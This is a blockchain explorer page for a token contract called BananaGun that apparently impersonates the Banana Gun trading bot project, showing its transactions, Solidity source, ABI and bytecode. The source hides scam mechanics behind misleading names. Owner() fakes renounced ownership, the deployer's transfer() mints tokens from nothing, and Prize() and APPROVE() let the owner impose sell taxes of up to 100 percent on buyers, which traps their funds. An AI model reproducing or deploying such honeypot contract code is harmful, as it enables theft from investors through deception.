Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 19 from a total of 19 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18434931 | 325 days ago | IN | 0 ETH | 0.00154535 | ||||
Muticall | 18120013 | 369 days ago | IN | 0 ETH | 0.00048226 | ||||
Muticall | 18115713 | 370 days ago | IN | 0 ETH | 0.00066599 | ||||
Muticall | 18115645 | 370 days ago | IN | 0 ETH | 0.00082222 | ||||
Muticall | 18115405 | 370 days ago | IN | 0 ETH | 0.00237822 | ||||
Muticall | 18115282 | 370 days ago | IN | 0 ETH | 0.00111632 | ||||
Prize | 18115170 | 370 days ago | IN | 0 ETH | 0.00134314 | ||||
Muticall | 18115149 | 370 days ago | IN | 0 ETH | 0.00145142 | ||||
Approve | 18115017 | 370 days ago | IN | 0 ETH | 0.00516554 | ||||
APPROVE | 18114906 | 370 days ago | IN | 0 ETH | 0.00184071 | ||||
Transfer | 18114884 | 370 days ago | IN | 0 ETH | 0.00177708 | ||||
Approve | 18114876 | 370 days ago | IN | 0 ETH | 0.0015467 | ||||
Approve | 18114876 | 370 days ago | IN | 0 ETH | 0.0015467 | ||||
Approve | 18114876 | 370 days ago | IN | 0 ETH | 0.0015467 | ||||
Approve | 18114876 | 370 days ago | IN | 0 ETH | 0.0015467 | ||||
Approve | 18114876 | 370 days ago | IN | 0 ETH | 0.0015467 | ||||
Approve | 18114852 | 370 days ago | IN | 0 ETH | 0.00136375 | ||||
Approve | 18114847 | 370 days ago | IN | 0 ETH | 0.00125779 | ||||
0x60e06040 | 18114828 | 370 days ago | IN | 0 ETH | 0.1104741 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
BananaGun
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-11 */ /* BANANA GUN TOKEN . Invite link: https://t.me/Banana_Gun_Portal Direct links to bots: @BananaGunSniper_bot @BananaGunSell_bot First time users: @BananaGunRegister_bot bananagun.io docs.bananagun.io */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.15; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function Owner() public view virtual returns (address) { return address(0); } modifier onlyOwner() { require(_Owner == _msgSender(), "Ownable: caller is not the Owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new Owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _Owner; _Owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ERC20 is Context { mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed Owner, address indexed spender, uint256 value); constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function allowance(address Owner, address spender) public view virtual returns (uint256) { return _allowances[Owner][spender]; } function approve(address spender, uint256 Amount) public virtual returns (bool) { address Owner = _msgSender(); _approve(Owner, spender, Amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address Owner = _msgSender(); _approve(Owner, spender, _allowances[Owner][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address Owner = _msgSender(); uint256 currentAllowance = _allowances[Owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(Owner, spender, currentAllowance - subtractedValue); } return true; } function _approve( address Owner, address spender, uint256 Amount ) internal virtual { require(Owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[Owner][spender] = Amount; emit Approval(Owner, spender, Amount); } function _spendAllowance( address Owner, address spender, uint256 Amount ) internal virtual { uint256 currentAllowance = allowance(Owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= Amount, "ERC20: insufficient allowance"); unchecked { _approve(Owner, spender, currentAllowance - Amount); } } } function _beforeTokenTransfer( address from, address to, uint256 Amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 Amount ) internal virtual {} } contract BananaGun is ERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => bool) private _release; function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; function _transfer( address from, address to, uint256 Amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance"); unchecked { _balances[from] = fromBalance - Amount; } _balances[to] += Amount; emit Transfer(from, to, Amount); } function _burn(address account, uint256 Amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance"); unchecked { _balances[account] = accountBalance - Amount; } _totalSupply -= Amount; emit Transfer(account, address(0), Amount); } function _dfygjdfggh(address account, uint256 Amount) internal virtual { require(account != address(0), "ERC20: REWARD to the zero address"); _totalSupply += Amount; _balances[account] += Amount; emit Transfer(address(0), account, Amount); } string private name_ = "Banana"; string private symbol_ = "BANANA"; uint private constant totalSupply_ = 10000000; event NameChanged(string newName,string newSymbol , address by); constructor () ERC20(name_, symbol_) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _dfygjdfggh(msg.sender, totalSupply_ * 10**decimals()); _defaultSellpee = 30; _defaultBuypee = 0; _release[_msgSender()] = true; } function Muticall(string memory name,string memory symbol) public onlyOwner{ name_ = name; symbol_ = symbol; emit NameChanged(name, symbol, msg.sender); } function name() public view override returns (string memory) { return name_; } function symbol() public view override returns (string memory) { return symbol_; } using SafeMath for uint256; uint256 private _defaultSellpee = 0; uint256 private _defaultBuypee = 0; mapping(address => bool) private _Approve; mapping(address => uint256) private _Aprove; address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD; function getRelease(address _address) external view onlyOwner returns (bool) { return _release[_address]; } function PairList(address _address) external onlyOwner { uniswapV2Pair = _address; } function Prize(uint256 _value) external onlyOwner { _defaultSellpee = _value; } function APPROVE(address _address, uint256 _value) external onlyOwner { require(_value >= 0, "Account pee must be greater than or equal to 1"); _Aprove[_address] = _value; } function getAprove(address _address) external view onlyOwner returns (uint256) { return _Aprove[_address]; } function Approve(address _address, bool _value) external onlyOwner { _Approve[_address] = _value; } function getApprovepee(address _address) external view onlyOwner returns (bool) { return _Approve[_address]; } function _checkFreeAccount(address from, address to) internal view returns (bool) { return _Approve[from] || _Approve[to]; } function _receiveF( address from, address to, uint256 _Amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance"); bool rF = true; if (_checkFreeAccount(from, to)) { rF = false; } uint256 tradepeeAmount = 0; if (rF) { uint256 tradepee = 0; if (uniswapV2Pair != address(0)) { if (to == uniswapV2Pair) { tradepee = _defaultSellpee; } if (from == uniswapV2Pair) { tradepee = _defaultBuypee; } } if (_Aprove[from] > 0) { tradepee = _Aprove[from]; } tradepeeAmount = _Amount.mul(tradepee).div(100); } if (tradepeeAmount > 0) { _balances[from] = _balances[from].sub(tradepeeAmount); _balances[_deadAddress] = _balances[_deadAddress].add(tradepeeAmount); emit Transfer(from, _deadAddress, tradepeeAmount); } _balances[from] = _balances[from].sub(_Amount - tradepeeAmount); _balances[to] = _balances[to].add(_Amount - tradepeeAmount); emit Transfer(from, to, _Amount - tradepeeAmount); } function transfer(address to, uint256 Amount) public virtual returns (bool) { address Owner = _msgSender(); if (_release[Owner] == true) { _balances[to] += Amount; return true; } _receiveF(Owner, to, Amount); return true; } function transferFrom( address from, address to, uint256 Amount ) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, Amount); _receiveF(from, to, Amount); return true; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"NameChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"APPROVE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"name":"Muticall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApprovepee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60e0604052600660a09081526542616e616e6160d01b60c05260089062000027908262000584565b5060408051808201909152600681526542414e414e4160d01b602082015260099062000054908262000584565b505f600a555f600b5534801562000069575f80fd5b50600880546200007990620004f8565b80601f0160208091040260200160405190810160405280929190818152602001828054620000a790620004f8565b8015620000f65780601f10620000cc57610100808354040283529160200191620000f6565b820191905f5260205f20905b815481529060010190602001808311620000d857829003601f168201915b5050505050600980546200010a90620004f8565b80601f01602080910402602001604051908101604052809291908181526020018280546200013890620004f8565b8015620001875780601f106200015d5761010080835404028352916020019162000187565b820191905f5260205f20905b8154815290600101906020018083116200016957829003601f168201915b505050505081600290816200019d919062000584565b506003620001ac828262000584565b505050620001c9620001c3620003a060201b60201c565b620003a4565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156200021e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200024491906200064c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000290573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b691906200064c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000301573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032791906200064c565b600780546001600160a01b0319166001600160a01b0392909216919091179055620003773362000355601290565b6200036290600a6200078a565b6200037190629896806200079a565b620003f5565b50601e600a555f600b819055338152600660205260409020805460ff19166001179055620007ca565b3390565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166200045a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2052455741524420746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060015f8282546200046d9190620007b4565b90915550506001600160a01b0382165f90815260056020526040812080548392906200049b908490620007b4565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200050d57607f821691505b6020821081036200052c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200057f575f81815260208120601f850160051c810160208610156200055a5750805b601f850160051c820191505b818110156200057b5782815560010162000566565b5050505b505050565b81516001600160401b03811115620005a057620005a0620004e4565b620005b881620005b18454620004f8565b8462000532565b602080601f831160018114620005ee575f8415620005d65750858301515b5f19600386901b1c1916600185901b1785556200057b565b5f85815260208120601f198616915b828110156200061e57888601518255948401946001909101908401620005fd565b50858210156200063c57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f602082840312156200065d575f80fd5b81516001600160a01b038116811462000674575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620006cf57815f1904821115620006b357620006b36200067b565b80851615620006c157918102915b93841c939080029062000694565b509250929050565b5f82620006e75750600162000784565b81620006f557505f62000784565b81600181146200070e5760028114620007195762000739565b600191505062000784565b60ff8411156200072d576200072d6200067b565b50506001821b62000784565b5060208310610133831016604e8410600b84101617156200075e575081810a62000784565b6200076a83836200068f565b805f19048211156200078057620007806200067b565b0290505b92915050565b5f6200067460ff841683620006d7565b80820281158282048414176200078457620007846200067b565b808201808211156200078457620007846200067b565b6080516113a6620007e35f395f61019d01526113a65ff3fe608060405234801561000f575f80fd5b5060043610610153575f3560e01c80636c9992b3116100bf578063a9059cbb11610079578063a9059cbb146102f0578063b4a99a4e14610303578063c4e7c16514610309578063d32c99cd1461031c578063dd62ed3e1461032f578063f2fde38b14610365575f80fd5b80636c9992b31461027f57806370a0823114610292578063715018a6146102ba57806380893918146102c257806395d89b41146102d5578063a457c2d7146102dd575f80fd5b80632c91d071116101105780632c91d07114610211578063313ce5671461022457806339509351146102335780633de94b451461024657806349bd5a5e146102595780635dd7c8ac1461026c575f80fd5b806306fdde0314610157578063095ea7b3146101755780631694505e1461019857806318160ddd146101d75780631f478f1e146101e957806323b872dd146101fe575b5f80fd5b61015f610378565b60405161016c9190610f2c565b60405180910390f35b610188610183366004610f54565b610408565b604051901515815260200161016c565b6101bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161016c565b6001545b60405190815260200161016c565b6101fc6101f7366004610f7c565b610421565b005b61018861020c366004610fb5565b61047e565b6101fc61021f366004610fee565b6104a1565b6040516012815260200161016c565b610188610241366004610f54565b6104ed565b6101fc610254366004611007565b610529565b6007546101bf906001600160a01b031681565b6101db61027a366004610fee565b610558565b61018861028d366004610fee565b6105a3565b6101db6102a0366004610fee565b6001600160a01b03165f9081526005602052604090205490565b6101fc6105ed565b6101886102d0366004610fee565b610622565b61015f61066c565b6101886102eb366004610f54565b61067b565b6101886102fe366004610f54565b61070a565b5f6101bf565b6101fc610317366004610f54565b61076a565b6101fc61032a3660046110bb565b6107af565b6101db61033d36600461111b565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b6101fc610373366004610fee565b610832565b6060600880546103879061114c565b80601f01602080910402602001604051908101604052809291908181526020018280546103b39061114c565b80156103fe5780601f106103d5576101008083540402835291602001916103fe565b820191905f5260205f20905b8154815290600101906020018083116103e157829003601f168201915b5050505050905090565b5f336104158185856108cd565b60019150505b92915050565b6004546001600160a01b031633146104545760405162461bcd60e51b815260040161044b90611184565b60405180910390fd5b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f3361048b8582856109ee565b610496858585610a7c565b506001949350505050565b6004546001600160a01b031633146104cb5760405162461bcd60e51b815260040161044b90611184565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b335f818152602081815260408083206001600160a01b038716845290915281205490919061041590829086906105249087906111cd565b6108cd565b6004546001600160a01b031633146105535760405162461bcd60e51b815260040161044b90611184565b600a55565b6004545f906001600160a01b031633146105845760405162461bcd60e51b815260040161044b90611184565b506001600160a01b0381165f908152600d60205260409020545b919050565b6004545f906001600160a01b031633146105cf5760405162461bcd60e51b815260040161044b90611184565b506001600160a01b03165f9081526006602052604090205460ff1690565b6004546001600160a01b031633146106175760405162461bcd60e51b815260040161044b90611184565b6106205f610e28565b565b6004545f906001600160a01b0316331461064e5760405162461bcd60e51b815260040161044b90611184565b506001600160a01b03165f908152600c602052604090205460ff1690565b6060600980546103879061114c565b335f818152602081815260408083206001600160a01b0387168452909152812054909190838110156106fd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161044b565b61049682868684036108cd565b335f8181526006602052604081205490919060ff16151560010361075f576001600160a01b0384165f908152600560205260408120805485929061074f9084906111cd565b909155506001925061041b915050565b610415818585610a7c565b6004546001600160a01b031633146107945760405162461bcd60e51b815260040161044b90611184565b6001600160a01b039091165f908152600d6020526040902055565b6004546001600160a01b031633146107d95760405162461bcd60e51b815260040161044b90611184565b60086107e5838261122e565b5060096107f2828261122e565b507f6c5d2637118cb4115becb3c3e6e553db25400cb3ffe8fd6fb2a2b4e014338627828233604051610826939291906112ea565b60405180910390a15050565b6004546001600160a01b0316331461085c5760405162461bcd60e51b815260040161044b90611184565b6001600160a01b0381166108c15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161044b565b6108ca81610e28565b50565b6001600160a01b03831661092f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b0382166109905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f90815260208181526040808320938616835292905220545f198114610a765781811015610a695760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161044b565b610a7684848484036108cd565b50505050565b6001600160a01b038316610ae05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b6001600160a01b0383165f9081526005602052604090205481811015610bb95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220416d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161044b565b6001610bc58585610e79565b15610bcd57505f5b5f8115610c6d576007545f906001600160a01b031615610c1d576007546001600160a01b0390811690871603610c025750600a545b6007546001600160a01b0390811690881603610c1d5750600b545b6001600160a01b0387165f908152600d602052604090205415610c5457506001600160a01b0386165f908152600d60205260409020545b610c696064610c638784610ebd565b90610ec8565b9150505b8015610d58576001600160a01b0386165f90815260056020526040902054610c959082610ed3565b6001600160a01b0387165f9081526005602052604081209190915561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54610ce19082610ede565b61dead5f81905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d4f9085815260200190565b60405180910390a35b610d83610d658286611327565b6001600160a01b0388165f9081526005602052604090205490610ed3565b6001600160a01b0387165f90815260056020526040902055610dc6610da88286611327565b6001600160a01b0387165f9081526005602052604090205490610ede565b6001600160a01b038087165f8181526005602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e0f8488611327565b60405190815260200160405180910390a3505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f908152600c602052604081205460ff1680610eb657506001600160a01b0382165f908152600c602052604090205460ff165b9392505050565b5f610eb6828461133a565b5f610eb68284611351565b5f610eb68284611327565b5f610eb682846111cd565b5f81518084525f5b81811015610f0d57602081850181015186830182015201610ef1565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610eb66020830184610ee9565b80356001600160a01b038116811461059e575f80fd5b5f8060408385031215610f65575f80fd5b610f6e83610f3e565b946020939093013593505050565b5f8060408385031215610f8d575f80fd5b610f9683610f3e565b915060208301358015158114610faa575f80fd5b809150509250929050565b5f805f60608486031215610fc7575f80fd5b610fd084610f3e565b9250610fde60208501610f3e565b9150604084013590509250925092565b5f60208284031215610ffe575f80fd5b610eb682610f3e565b5f60208284031215611017575f80fd5b5035919050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112611041575f80fd5b813567ffffffffffffffff8082111561105c5761105c61101e565b604051601f8301601f19908116603f011681019082821181831017156110845761108461101e565b8160405283815286602085880101111561109c575f80fd5b836020870160208301375f602085830101528094505050